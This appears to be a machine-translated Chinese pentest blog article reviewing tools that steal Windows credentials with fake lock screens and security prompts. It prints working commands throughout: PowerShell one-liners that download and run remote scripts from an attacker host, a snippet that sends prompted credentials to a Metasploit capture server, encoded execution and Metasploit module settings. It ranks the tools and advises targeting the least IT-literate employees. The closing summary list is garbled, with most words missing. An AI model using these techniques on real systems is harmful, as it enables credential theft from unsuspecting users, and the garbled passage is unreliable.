2020年第一季度,针对全球用户的网络钓鱼攻击数量与2019年同期相比翻了一番,从9%增至18%。这些数据由“卡巴斯基实验室”提供。
在Windows家族的操作系统中,某些程序和过程通常会请求用户凭据进行身份验证(例如,在Outlook中),以提升执行特权(用户帐户控制)或仅退出待机模式(Windows LockScreen)。模仿此Windows行为,可以检索用户凭据,以供以后在渗透测试中使用。本文汇总了一些用于更改锁定屏幕的常见网络钓鱼程序的摘要。
从#
现代的渗透测试技术通常基于C#编程语言,因为其中的程序可以通过各种框架(Cobalt Strike,Covenant等)执行
。1)FakeLogonScreen实用程序是由Arris Huijgen在C#中开发的,它不仅替代了标准的OS密码输入屏幕,并使用系统中标准屏幕设置的参数来执行此操作,这将大大增加不引起用户怀疑并成功获取其登录凭据的机会。
FakeLogonScreen-启动
FakeLogonScreen-锁定屏幕
在伪造的登录页面上输入密码时,FakeLogonScreen将在AD或本地验证凭据,以准确确定密码输入是否正确。将来,密码将显示在pentester的控制台中。
FakeLogonScreen-输入凭据
FakeLogonScreen还包括可执行文件的第二版本,该版本将捕获的凭据保存到受感染计算机本地的user.db文件中。可以使用type命令查看此文件:
type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db
FakeLogonScreen-保存到user.db文件
2)Matt Pickford开发的SharpLocker程序以类似的方式工作。一旦启动,它还将替换原始的登录屏幕。SharpLocker-屏幕锁定 用户输入的每个字符都会被截取,直到显示整个密码为止。但是,应注意,该实用程序不会验证密码,并且会嗅探用户在密码字段中输入的内容。SharpLocker-密码网络钓鱼
电源外壳
Windows安全提示输入凭据非常常见,因为公司环境中的软件可能会定期需要其他确认或重新授权。例如,Microsoft Outlook是此类软件最出色的代表之一,它不断提示用户输入域凭据。
1.伪装成Windows安全查询窗口的实用程序称为CredsLeaker。为了使其正常运行,需要Web服务器,该Web服务器将从其接收所有必需的文件,并在其中存储用户凭据以及PowerShell的存在,以便向其服务器发送HTTP请求。将来,所有命令将从组合中包含的BAT文件执行。
CredsLeaker-HTTP传递
在运行run.bat文件之前,您需要对实用程序的配置文件进行所有必要的更改。启动run.bat文件后,用户将看到Windows安全窗口,要求其提供凭据。
CredsLeaker-网络钓鱼
窗口仅在输入有效的用户凭据后,提示窗口才会消失。域,计算机名,用户名和密码将保存在creds.txt文件中的以下路径中:
/var/www/html/creds.txt
CredsLeaker-输出到文件creds.txt。2
. Matt Nelson开发了一个PowerShell脚本,该脚本调用Windows Security凭据提示并对其进行验证。在输入有效凭据之前,用户也无法关闭此窗口。该脚本可以远程执行,输入的凭据将显示在攻击者计算机上的控制台中:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
Invoke-LoginPrompt-远程调用
Invoke-LoginPrompt-网络钓鱼窗口
3. Nishang框架还包括一个PowerShell脚本,该脚本创建了虚假的用户凭据请求窗口。
Import-Module C:\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish
Invoke-CredentialsPhish-本地呼叫和网络钓鱼窗口
生成的窗口将通知您此操作需要以凭证形式进行确认。就信息安全性而言,经验更丰富的用户可能会怀疑此窗口是由后台启动应用程序引起的,但并非企业网络中的每个人都可以拥有此知识。用户在对话框中输入的凭据将显示在控制台中。
Invoke-CredentialsPhish-收集的数据的输出
此脚本也可以远程运行:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish
Rob Fuller在他的博客中描述了针对使用Metasploit和PowerShell欺骗用户凭据的攻击。Metasploit框架包括可以捕获来自各种协议(FTP,SMB,HTTP等)的用户凭据的模块。以下模块用于部署具有身份验证的基本HTTP服务器:
use auxiliary/server/capture/http_basic
set URIPATH /
通过生成Windows安全性提示窗口,然后将收集的凭据传输到先前通过Metasploit创建的HTTP服务器,PowerShell可用于对用户凭据进行网络钓鱼攻击:
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');
最初捕获凭据需要使用UTF-16LE编码,然后转换为Base64:
cat popup.txt | iconv -t UTF-16LE
cat popup.txt | iconv -t UTF-16LE | base64 -w0
将代码转换
为本地或远程执行指定代码的Base64执行会导致提示用户进行授权(据称来自Windows安全性)。
powershell.exe -ep bypass -enc <base64>
网络钓鱼凭据窗口
用户输入后,Metasploit模块将立即接收凭据。
Metasploit HTTP Server-检索凭据
Metasploit
Metasploit框架包括一个模块,该模块可以独立触发假窗口,以从系统中的几乎所有进程中请求Windows安全授权。为了使该模块正常工作,您需要指定一个正常的计费器会话和一个进程,将代表该进程调用伪造的Windows安全授权请求。
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run
Metasploit模块-配置
在这种情况下,*符号指示模块监视代表系统运行的所有进程(NT Authority \ System),并在代表系统在系统上启动新进程时调用对话框。
Metasploit模块-监视所有过程
一旦新过程开始,将向用户显示一个代表该过程的对话框,其中包含授权请求,据称可以确认进一步的工作。
Metasploit模块-网络钓鱼窗口
用户输入凭据后,它们将立即显示在Metasploit控制台中。
Metasploit模块-获取凭据
此外,可以将该模块配置为等待特定进程启动。
Metasploit模块-通过notepad.exe进程检索凭据
重击
Lockphish是另一个实用程序,能够执行欺骗Windows登录窗口的网络钓鱼攻击。登录窗口模板存储在PHP服务器上,默认情况下使用YouTube在输入用户名和密码后重定向用户。
bash lockphish.sh
LockPhish-启动
此时,您需要使用社交工程吸引用户到锁定屏幕文件所在的网站。
LockPhish-下载文件
与所有其他实用程序不同,此锁定屏幕上的元素排列可能不准确,授权请求将代表管理员而不是当前用户帐户显示,并且锁定窗口的外部样式为Windows 10锁定屏幕。所有这些结合在一起可以极大地提醒用户。该实用程序也没有用于验证输入密码的机制。
LockPhish-锁定屏幕
用户输入凭据后,将重定向到youtube.com网站。
LockPhish-重定向
凭据将显示在控制台中。
LockPhish-收集的凭据
如果已在pentester设法设法在系统中立足(获得一个稳定的入口点),则本文介绍的方法将是有效的,但无法以其他方式提升特权或获取用户凭据。进行此类网络钓鱼攻击时,应仔细选择目标受众。如果目标是组织中最不懂IT的员工,那么效率将提高很多倍。
在我们的电报博客中,甚至还有更多材料。订阅!所有经过测试的软件的简要结论
- FakeLogonScreen。使用系统中设置的标准参数时,它看起来尽可能逼真。知道如何执行输入凭据的验证。(最佳选择)
- SharpLocker. , windows LockScreen, , . ( , FakeLogonScreen)
- CredsLeaker. , , - . , - — , “” , - — , , . ( )
- Invoke-LoginPrompt. , , Windows. . ( , )
- Invoke-CredentialsPhish. , .
- Rob Fuller. metasploit, , . ( )
- Metasploit phish_windows_credentials. Metasploit ( ), . ( , IT- )
- LockPhish。一方面,歪曲的锁屏布局,未经身份验证,甚至不考虑当前用户(始终要求管理员提供密码)。另一方面,它是唯一可以通过浏览器触发的患者。将链接发送给受害者并等待。(不建议使用开箱即用的方法,但是,如果您知道特定受害者的用户名,则可以从“管理员”重新配置该用户名,这样就不会太糟。它甚至可以工作)